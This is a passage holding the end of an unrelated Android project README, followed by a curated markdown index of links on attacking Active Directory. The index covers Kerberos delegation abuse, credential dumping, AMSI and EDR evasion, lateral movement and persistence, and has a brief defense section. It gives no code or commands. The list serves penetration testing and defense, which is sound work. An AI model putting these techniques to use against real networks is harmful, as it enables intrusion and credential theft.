([Issue 1914](https://github.com/junit-team/junit5/issues/1914)) - Custom detekt config is hard to update ([Issue 4517](https://github.com/detekt/detekt/issues/4517)) - Coil does not provide a way to automatically retry image load, so some images may not be loaded when connection speed is low ([Issue 132](https://github.com/coil-kt/coil/issues/132)) - `buildFeatures` and `testOptions` blocks are incubating and have to be marked as `@Suppress ("UnstableApiUsage")` ## Contribute This project is being maintained to stay up to date with leading industry standards. Please check the [CONTRIBUTING](CONTRIBUTING.md) page if you want to help. ## Author [](https://twitter.com/igorwojda) [](https://twitter.com/igorwojda) ## License ``` MIT License Copyright (c) 2019 Igor Wojda Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` ## Animations License Flowing animations are distributed under `Creative Commons License 2.0`: - [Error screen](https://lottiefiles.com/8049-error-screen) by Chetan Potnuru - [Building Screen](https://lottiefiles.com/1271-building-screen) by Carolina Cajazeira

# active-directory-pentest ## Table of Contents * [Discovery](#discovery) * [Privilege Escalation](#privilege-escalation) * [Defense Evasion](#defense-evasion) * [Credential Dumping](#credential-dumping) * [Lateral Movement](#lateral-movement) * [Persistence](#persistence) * [Defense & Detection](#defense-&-detection) ------ ## Discovery ### SPN Scanning * [SPN Scanning – Service Discovery without Network Port Scanning](https://adsecurity.org/?p=1508) * [Active Directory: PowerShell script to list all SPNs used](https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx) * [Discovering Service Accounts Without Using Privileges](https://blog.stealthbits.com/discovering-service-accounts-without-using-privileges/) ### Data Mining * [A Data Hunting Overview](https://thevivi.net/2018/05/23/a-data-hunting-overview/) * [Push it, Push it Real Good](https://www.harmj0y.net/blog/redteaming/push-it-push-it-real-good/) * [Finding Sensitive Data on Domain SQL Servers using PowerUpSQL](https://blog.netspi.com/finding-sensitive-data-domain-sql-servers-using-powerupsql/) * [Sensitive Data Discovery in Email with MailSniper](https://www.youtube.com/watch?v=ZIOw_xfqkKM) * [Remotely Searching for Sensitive Files](https://www.fortynorthsecurity.com/remotely-search/) * [I Hunt Sysadmins - harmj0y](http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/) ### User Hunting * [Hidden Administrative Accounts: BloodHound to the Rescue](https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/) * [Active Directory Recon Without Admin Rights](https://adsecurity.org/?p=2535) * [Gathering AD Data with the Active Directory PowerShell Module](https://adsecurity.org/?p=3719) * [Using ActiveDirectory module for Domain Enumeration from PowerShell Constrained Language Mode](http://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-PowerShell-CLM.html) * [PowerUpSQL Active Directory Recon Functions](https://github.com/NetSPI/PowerUpSQL/wiki/Active-Directory-Recon-Functions) * [Derivative Local Admin](https://www.sixdub.net/?p=591) * [Dumping Active Directory Domain Info – with PowerUpSQL!](https://blog.netspi.com/dumping-active-directory-domain-info-with-powerupsql/) * [Local Group Enumeration](https://www.harmj0y.net/blog/redteaming/local-group-enumeration/) * [Attack Mapping With Bloodhound](https://blog.stealthbits.com/local-admin-mapping-bloodhound) * [Situational Awareness](https://pentestlab.blog/2018/05/28/situational-awareness/) * [Commands for Domain Network Compromise](https://www.javelin-networks.com/static/5fcc6e84.pdf) * [A Pentester’s Guide to Group Scoping](https://www.harmj0y.net/blog/activedirectory/a-pentesters-guide-to-group-scoping/) ### LAPS * [Microsoft LAPS Security & Active Directory LAPS Configuration Recon](https://adsecurity.org/?p=3164) * [Running LAPS with PowerView](https://www.harmj0y.net/blog/powershell/running-laps-with-powerview/) * [RastaMouse LAPS Part 1 & 2](https://rastamouse.me/tags/laps/) ### AppLocker * [Enumerating AppLocker Config](https://rastamouse.me/2018/09/enumerating-applocker-config/) ### Azure * [I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Directory](https://www.slideshare.net/DirkjanMollema/im-in-your-cloud-reading-everyones-email-hacking-azure-ad-via-active-directory) * [Utilizing Azure Services for Red Team Engagements](https://blog.netspi.com/utiilzing-azure-for-red-team-engagements/) * [Blue Cloud of Death: Red Teaming Azure](https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1) * [Azure AD Connect for Red Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/) * [Red Teaming Microsoft: Part 1 – Active Directory Leaks via Azure](https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/) * [Attacking & Defending the Microsoft Cloud](https://adsecurity.org/wp-content/uploads/2019/08/2019-BlackHat-US-Metcalf-Morowczynski-AttackingAndDefendingTheMicrosoftCloud.pdf) ### Active Directory Federation Services * [118 Attacking ADFS Endpoints with PowerShell Karl Fosaaen](https://www.youtube.com/watch?v=oTyLdAUjw30) * [Using PowerShell to Identify Federated Domains](https://blog.netspi.com/using-powershell-identify-federated-domains/) * [LyncSniper: A tool for penetration testing Skype for Business and Lync deployments](https://github.com/mdsecresearch/LyncSniper) * [Troopers 19 - I am AD FS and So Can You](https://www.slideshare.net/DouglasBienstock/troopers-19-i-am-ad-fs-and-so-can-you) ------ ## Privilege Escalation ### Passwords in SYSVOL & Group Policy Preferences * [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) * [Pentesting in the Real World: Group Policy Pwnage](https://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/) ### MS14-068 Kerberos Vulnerability * [MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege](https://adsecurity.org/?p=525) * [Digging into MS14-068, Exploitation and Defence](https://labs.mwrinfosecurity.com/blog/digging-into-ms14-068-exploitation-and-defence/) * [From MS14-068 to Full Compromise – Step by Step](https://www.trustedsec.com/2014/12/ms14-068-full-compromise-step-step/) ### DNSAdmins * [Abusing DNSAdmins privilege for escalation in Active Directory](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) * [From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration](https://adsecurity.org/?p=4064) ### Kerberos Delegation * [Constructing Kerberos Attacks with Delegation Primitives](https://shenaniganslabs.io/media/Constructing%20Kerberos%20Attacks%20with%20Delegation%20Primitives.pdf) #### Unconstrained Delegation * [Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)](https://adsecurity.org/?p=1667) * [Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory Forest](https://adsecurity.org/?p=4056) * [Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)](https://adsecurity.org/?p=1667) * [Unconstrained Delegation Permissions](https://blog.stealthbits.com/unconstrained-delegation-permissions/) * [Trust? Years to earn, seconds to break](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/) * [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1) * [Exploiting Unconstrained Delegation](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/) #### Constrained Delegation * [Another Word on Delegation](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/) * [From Kekeo to Rubeus](https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/) * [S4U2Pwnage](http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) * [Kerberos Delegation, Spns And More...](https://www.secureauth.com/blog/kerberos-delegation-spns-and-more) #### Resource-Based Constrained Delegation * [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) * [Kerberos Resource-based Constrained Delegation: Computer Object Take Over](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) * [Resource Based Constrained Delegation](https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/) * [A Case Study in Wagging the Dog: Computer Takeover](http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/) * [BloodHound 2.1's New Computer Takeover Attack](https://www.youtube.com/watch?v=RUbADHcBLKg) ### Insecure Group Policy Object Permission Rights * [Abusing GPO Permissions](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/) * [A Red Teamer’s Guide to GPOs and OUs](https://wald0.com/?p=179) * [File templates for GPO Abuse](https://github.com/rasta-mouse/GPO-Abuse) * [GPO Abuse - Part 1](https://rastamouse.me/2019/01/gpo-abuse-part-1/) * [SharpGPOAbuse](https://github.com/mwrlabs/SharpGPOAbuse) ### Insecure ACLs Permission Rights * [Exploiting Weak Active Directory Permissions With Powersploit](https://blog.stealthbits.com/exploiting-weak-active-directory-permissions-with-powersploit/) * [Escalating privileges with ACLs in Active Directory ](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) * [Abusing Active Directory Permissions with PowerView ](http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/) * [BloodHound 1.3 – The ACL Attack Path Update](https://wald0.com/?p=112) * [Scanning for Active Directory Privileges & Privileged Accounts](https://adsecurity.org/?p=3658) * [Active Directory Access Control List – Attacks and Defense](https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/Active-Directory-Access-Control-List-8211-Attacks-and-Defense/ba-p/250315) * [aclpwn - Active Directory ACL exploitation with BloodHound](https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound) ### Domain Trusts * [A Guide to Attacking Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/) * [It's All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts](https://adsecurity.org/?p=1588) * [Active Directory forest trusts part 1 - How does SID filtering work?](https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work) * [The Forest Is Under Control. Taking over the entire Active Directory forest](https://hackmag.com/security/ad-forest/) * [Not A Security Boundary: Breaking Forest Trusts](https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d) * [The Trustpocalypse](http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/) * [Pentesting Active Directory Forests](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0) ### DCShadow * [Privilege Escalation With DCShadow](https://blog.stealthbits.com/privilege-escalation-with-dcshadow/) * [DCShadow](https://pentestlab.blog/2018/04/16/dcshadow/) * [DCShadow explained: A technical deep dive into the latest AD attack technique](https://blog.alsid.eu/dcshadow-explained-4510f52fc19d) * [DCShadow - Silently turn off Active Directory Auditing](http://www.labofapenetrationtester.com/2018/05/dcshadow-sacl.html) * [DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more](http://www.labofapenetrationtester.com/2018/04/dcshadow.html) ### RID * [Rid Hijacking: When Guests Become Admins](https://blog.stealthbits.com/rid-hijacking-when-guests-become-admins/) ### Microsoft SQL Server * [How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL](https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/) * [Compromise With Powerupsql – Sql Attacks](https://blog.stealthbits.com/compromise-with-powerupsql-sql-attacks/) ### Red Forest * [Attack and defend Microsoft Enhanced Security Administrative](https://download.ernw-insight.de/troopers/tr18/slides/TR18_AD_Attack-and-Defend-Microsoft-Enhanced-Security.pdf) ### Exchange * [Exchange-AD-Privesc](https://github.com/gdedrouas/Exchange-AD-Privesc) * [Abusing Exchange: One API call away from Domain Admin](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/) * [NtlmRelayToEWS](https://github.com/Arno0x/NtlmRelayToEWS) ### LLMNR/NBNS * [Pwning with Responder – A Pentester’s Guide](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/) * [Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) * [Relaying credentials everywhere with ntlmrelayx](https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/) * [Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS](https://blog.netspi.com/exploiting-adidns/) ------ ## Lateral Movement ### Microsoft SQL Server Database links * [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server!](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) * [SQL Server Link Crawling with PowerUpSQL](https://blog.netspi.com/sql-server-link-crawling-powerupsql/) ### Pass The Hash * [Performing Pass-the-hash Attacks With Mimikatz](https://blog.stealthbits.com/passing-the-hash-with-mimikatz) * [How to Pass-the-Hash with Mimikatz](https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/) * [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/) ### System Center Configuration Manager (SCCM) * [Targeted Workstation Compromise With Sccm](https://enigma0x3.net/2015/10/27/targeted-workstation-compromise-with-sccm/) * [PowerSCCM - PowerShell module to interact with SCCM deployments](https://github.com/PowerShellMafia/PowerSCCM) ### WSUS * [Remote Weaponization of WSUS MITM](https://www.sixdub.net/?p=623) * [WSUSpendu](https://www.blackhat.com/docs/us-17/wednesday/us-17-Coltel-WSUSpendu-Use-WSUS-To-Hang-Its-Clients-wp.pdf) * [Leveraging WSUS – Part One](https://ijustwannared.team/2018/10/15/leveraging-wsus-part-one/) ### Password Spraying * [Password Spraying Windows Active Directory Accounts - Tradecraft Security Weekly #5](https://www.youtube.com/watch?v=xB26QhnL64c) * [Attacking Exchange with MailSniper](https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/) * [A Password Spraying tool for Active Directory Credentials by Jacob Wilkin](https://github.com/SpiderLabs/Spray) * [SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit) ### Automated Lateral Movement * [GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application](https://github.com/GoFetchAD/GoFetch) * [DeathStar - Automate getting Domain Admin using Empire](https://github.com/byt3bl33d3r/DeathStar) * [ANGRYPUPPY - Bloodhound Attack Path Automation in CobaltStrike](https://github.com/vysec/ANGRYPUPPY) ------ ## Defense Evasion ### In-Memory Evasion * [Bypassing Memory Scanners with Cobalt Strike and Gargoyle](https://labs.mwrinfosecurity.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle/) * [In-Memory Evasions Course](https://www.youtube.com/playlist?list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK) * [Bring Your Own Land (BYOL) – A Novel Red Teaming Technique](https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html) ### Endpoint Detection and Response (EDR) Evasion * [Red Teaming in the EDR age](https://youtu.be/l8nkXCOYQC4) * [Sharp-Suite - Process Argument Spoofing](https://github.com/FuzzySecurity/Sharp-Suite) * [Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/) * [Dechaining Macros and Evading EDR](https://www.countercept.com/blog/dechaining-macros-and-evading-edr/) * [Bypass EDR’s memory protection, introduction to hooking](https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6) * [Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs](https://ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis) * [Silencing Cylance: A Case Study in Modern EDRs](https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/) ### OPSEC * [Modern Defenses and YOU!](https://blog.cobaltstrike.com/2017/10/25/modern-defenses-and-you/) * [OPSEC Considerations for Beacon Commands](https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/) * [Red Team Tradecraft and TTP Guidance](https://sec564.com/#!docs/tradecraft.md) * [Fighting the Toolset](https://www.youtube.com/watch?v=RoqVunX_sqA) ### Microsoft ATA & ATP Evasion * [Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced Threat Protection and Advanced Threat Analytics](https://www.blackhat.com/docs/eu-17/materials/eu-17-Thompson-Red-Team-Techniques-For-Evading-Bypassing-And-Disabling-MS-Advanced-Threat-Protection-And-Advanced-Threat-Analytics.pdf) * [Red Team Revenge - Attacking Microsoft ATA](https://www.slideshare.net/nikhil_mittal/red-team-revenge-attacking-microsoft-ata) * [Evading Microsoft ATA for Active Directory Domination](https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination) ### PowerShell ScriptBlock Logging Bypass * [PowerShell ScriptBlock Logging Bypass](https://cobbr.io/ScriptBlock-Logging-Bypass.html) ### PowerShell Anti-Malware Scan Interface (AMSI) Bypass * [How to bypass AMSI and execute ANY malicious Powershell code](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html) * [AMSI: How Windows 10 Plans to Stop Script-Based Attacks](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf) * [AMSI Bypass: Patching Technique](https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/) * [Invisi-Shell - Hide your Powershell script in plain sight. Bypass all Powershell security features](https://github.com/OmerYa/Invisi-Shell) * [Dynamic Microsoft Office 365 AMSI In Memory Bypass Using VBA](https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/) * [AmsiScanBuffer Bypass - Part 1](https://rastamouse.me/2018/10/amsiscanbuffer-bypass---part-1/) * [AMSI Bypass](https://www.contextis.com/en/blog/amsi-bypass) ### Loading .NET Assemblies Anti-Malware Scan Interface (AMSI) Bypass * [A PoC function to corrupt the g_amsiContext global variable in clr.dll in .NET Framework Early Access build 3694](https://gist.github.com/mattifestation/ef0132ba4ae3cc136914da32a88106b9) ### AppLocker & Device Guard Bypass * [Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts)](https://lolbas-project.github.io/) ### Sysmon Evasion * [Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology](https://github.com/mattifestation/BHUSA2018_Sysmon) * [sysmon-config-bypass-finder](https://github.com/mkorman90/sysmon-config-bypass-finder) * [Shhmon — Silencing Sysmon via Driver Unload](https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650) ### HoneyTokens Evasion * [Forging Trusts for Deception in Active Directory](http://www.labofapenetrationtester.com/2018/10/deploy-deception.html) * [Honeypot Buster: A Unique Red-Team Tool](https://jblog.javelin-networks.com/blog/the-honeypot-buster/) ### Disabling Security Tools * [Invoke-Phant0m - Windows Event Log Killer](https://github.com/hlldz/Invoke-Phant0m) ------ ## Credential Dumping ### NTDS.DIT Password Extraction * [How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller](https://adsecurity.org/?p=451) * [Extracting Password Hashes From The Ntds.dit File](https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/) ### SAM (Security Accounts Manager) * [Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS](https://github.com/eladshamir/Internal-Monologue) ### Kerberoasting * [Kerberoasting Without Mimikatz](https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/) * [Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain](https://adsecurity.org/?p=2293) * [Extracting Service Account Passwords With Kerberoasting](https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/) * [Cracking Service Account Passwords with Kerberoasting](https://www.cyberark.com/blog/cracking-service-account-passwords-kerberoasting/) * [Kerberoast PW list for cracking passwords with complexity requirements](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5) * [DerbyCon 2019 - Kerberoasting Revisited](https://www.slideshare.net/harmj0y/derbycon-2019-kerberoasting-revisited) ### Kerberos AP-REP Roasting * [Roasting AS-REPs](http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) ### Windows Credential Manager/Vault * [Operational Guidance for Offensive User DPAPI Abuse](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) * [Jumping Network Segregation with RDP](https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/) ### DCSync * [Mimikatz and DCSync and ExtraSids, Oh My](https://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/) * [Mimikatz DCSync Usage, Exploitation, and Detection](https://adsecurity.org/?p=1729) * [Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync](https://adsecurity.org/?p=2053) ### LLMNR/NBT-NS Poisoning * [LLMNR/NBT-NS Poisoning Using Responder](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/) ### Others * [Compromising Plain Text Passwords In Active Directory](https://blog.stealthbits.com/compromising-plain-text-passwords-in-active-directory) ------ ## Persistence ### Golden Ticket * [Golden Ticket](https://pentestlab.blog/2018/04/09/golden-ticket/) * [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640) ### SID History * [Sneaky Active Directory Persistence #14: SID History](https://adsecurity.org/?p=1772) ### Silver Ticket * [How Attackers Use Kerberos Silver Tickets to Exploit Systems](https://adsecurity.org/?p=2011) * [Sneaky Active Directory Persistence #16: Computer Accounts & Domain Controller Silver Tickets](https://adsecurity.org/?p=2753) ### DCShadow * [Creating Persistence With Dcshadow](https://blog.stealthbits.com/creating-persistence-with-dcshadow/) ### AdminSDHolder * [Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights](https://adsecurity.org/?p=1906) * [Persistence Using Adminsdholder And Sdprop](https://blog.stealthbits.com/persistence-using-adminsdholder-and-sdprop/) ### Group Policy Object * [Sneaky Active Directory Persistence #17: Group Policy](https://adsecurity.org/?p=2716) ### Skeleton Keys * [Unlocking All The Doors To Active Directory With The Skeleton Key Attack](https://blog.stealthbits.com/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/) * [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/) * [Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest](https://adsecurity.org/?p=1275) ### SeEnableDelegationPrivilege * [The Most Dangerous User Right You (Probably) Have Never Heard Of](https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/) * [SeEnableDelegationPrivilege Active Directory Backdoor](https://www.youtube.com/watch?v=OiqaO9RHskU) ### Security Support Provider * [Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP)](https://adsecurity.org/?p=1760) ### Directory Services Restore Mode * [Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM)](https://adsecurity.org/?p=1714) * [Sneaky Active Directory Persistence #13: DSRM Persistence v2](https://adsecurity.org/?p=1785) ### ACLs & Security Descriptors * [An ACE Up the Sleeve: Designing Active Directory DACL Backdoors](https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf) * [Shadow Admins – The Stealthy Accounts That You Should Fear The Most](https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear/) * [The Unintended Risks of Trusting Active Directory](https://www.slideshare.net/harmj0y/the-unintended-risks-of-trusting-active-directory) ## Tools & Scripts * [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) - Situational Awareness PowerShell framework * [BloodHound](https://github.com/BloodHoundAD/BloodHound) - Six Degrees of Domain Admin * [Impacket](https://github.com/SecureAuthCorp/impacket) - Impacket is a collection of Python classes for working with network protocols * [aclpwn.py](https://github.com/fox-it/aclpwn.py) - Active Directory ACL exploitation with BloodHound * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - A swiss army knife for pentesting networks * [ADACLScanner](https://github.com/canix1/ADACLScanner) - A tool with GUI or command linte used to create reports of access control lists (DACLs) and system access control lists (SACLs) in Active Directory * [zBang](https://github.com/cyberark/zBang) - zBang is a risk assessment tool that detects potential privileged account threats * [SafetyKatz](https://github.com/GhostPack/SafetyKatz) - SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader. * [SharpDump](https://github.com/GhostPack/SharpDump) - SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality. * [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server * [Rubeus](https://github.com/GhostPack/Rubeus) - Rubeus is a C# toolset for raw Kerberos interaction and abuses * [ADRecon](https://github.com/sense-of-security/ADRecon) - A tool which gathers information about the Active Directory and generates a report which can provide a holistic picture of the current state of the target AD environment * [Mimikatz](https://github.com/gentilkiwi/mimikatz) - Utility to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory but also perform pass-the-hash, pass-the-ticket or build Golden tickets * [Grouper](https://github.com/l0ss/Grouper) - A PowerShell script for helping to find vulnerable settings in AD Group Policy. * [Powermad](https://github.com/Kevin-Robertson/Powermad) - PowerShell MachineAccountQuota and DNS exploit tools * [RACE](https://github.com/samratashok/RACE) - RACE is a PowerShell module for executing ACL attacks against Windows targets. * [DomainPasswordSpray](https://github.com/mdavis332/DomainPasswordSpray) - DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. * [MailSniper](https://github.com/dafthack/MailSniper) - MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.) * [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) - Tool to audit and attack LAPS environments. * [CredDefense](https://github.com/CredDefense/CredDefense) - Credential and Red Teaming Defense for Windows Environments ## Ebooks * [The Dog Whisperer’s Handbook – A Hacker’s Guide to the BloodHound Galaxy](https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf) * [Varonis eBook: Pen Testing Active Directory Environments](https://www.varonis.com/blog/varonis-ebook-pen-testing-active-directory-environments/) ## Cheat Sheets * [Tools Cheat Sheets](https://github.com/HarmJ0y/CheatSheets) - Tools (PowerView, PowerUp, Empire, and PowerSploit) * [DogWhisperer - BloodHound Cypher Cheat Sheet (v2)](https://github.com/SadProcessor/Cheats/blob/master/DogWhispererV2.md) * [PowerView-3.0 tips and tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) * [PowerView-2.0 tips and tricks](https://gist.github.com/HarmJ0y/3328d954607d71362e3c) * [BloodhoundAD-Queries](https://github.com/Scoubi/BloodhoundAD-Queries) * [Kerberos Attacks Cheat Sheet](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a) * [Bloodhound Cypher Cheatsheet](https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/) ## Other Resources * [Tactics, Techniques and Procedures for Attacking Active Directory BlackHat Asia 2019](https://docs.google.com/presentation/d/1j2nW05H-iRz7-FVTRh-LBXQm6M6YIBQNWa4V7tp99YQ/) * [Bloodhound walkthrough. A Tool for Many Tradecrafts](https://www.pentestpartners.com/security-blog/bloodhound-walkthrough-a-tool-for-many-tradecrafts/) * [Attack Methods for Gaining Domain Admin Rights in Active Directory](https://adsecurity.org/?p=2362) * [PowerShell Is Dead Epic Learnings](https://www.slideshare.net/nettitude_labs/powershellisdeadepiclearningslondon) * [Finding Our Path: How We’re Trying to Improve Active Directory Security](https://docs.google.com/presentation/d/1lQHTqXZIDxwaIUnXdO-EdvGp79RzH1rbM4zE45Kki2I/edit#slide=id.g35f391192_00) * [SteelCon 2019: Getting Splunky With Kerberos - Ross Bingham and Tom MacDonald](https://www.youtube.com/watch?v=JcFdNAleIk4&feature=youtu.be) ------ ## Defense & Detection ### Tools & Scripts * [Create-Tiers in AD](https://github.com/davidprowe/AD_Sec_Tools) - Project Title Active Directory Auto Deployment of Tiers in any environment * [SAMRi10](https://gallery.technet.microsoft.com/SAMRi10-Hardening-Remote-48d94b5b) - Hardening SAM Remote Access in Windows 10/Server 2016 * [Net Cease](https://gallery.technet.microsoft.com/Net-Cease-Blocking-Net-1e8dcb5b) - Hardening Net Session Enumeration * [PingCastle](https://www.pingcastle.com/) - A tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework * [Aorato Skeleton Key Malware Remote DC Scanner](https://gallery.technet.microsoft.com/Aorato-Skeleton-Key-24e46b73) - Remotely scans for the existence of the Skeleton Key Malware * [Reset the krbtgt account password/keys](https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51) - This script will enable you to reset 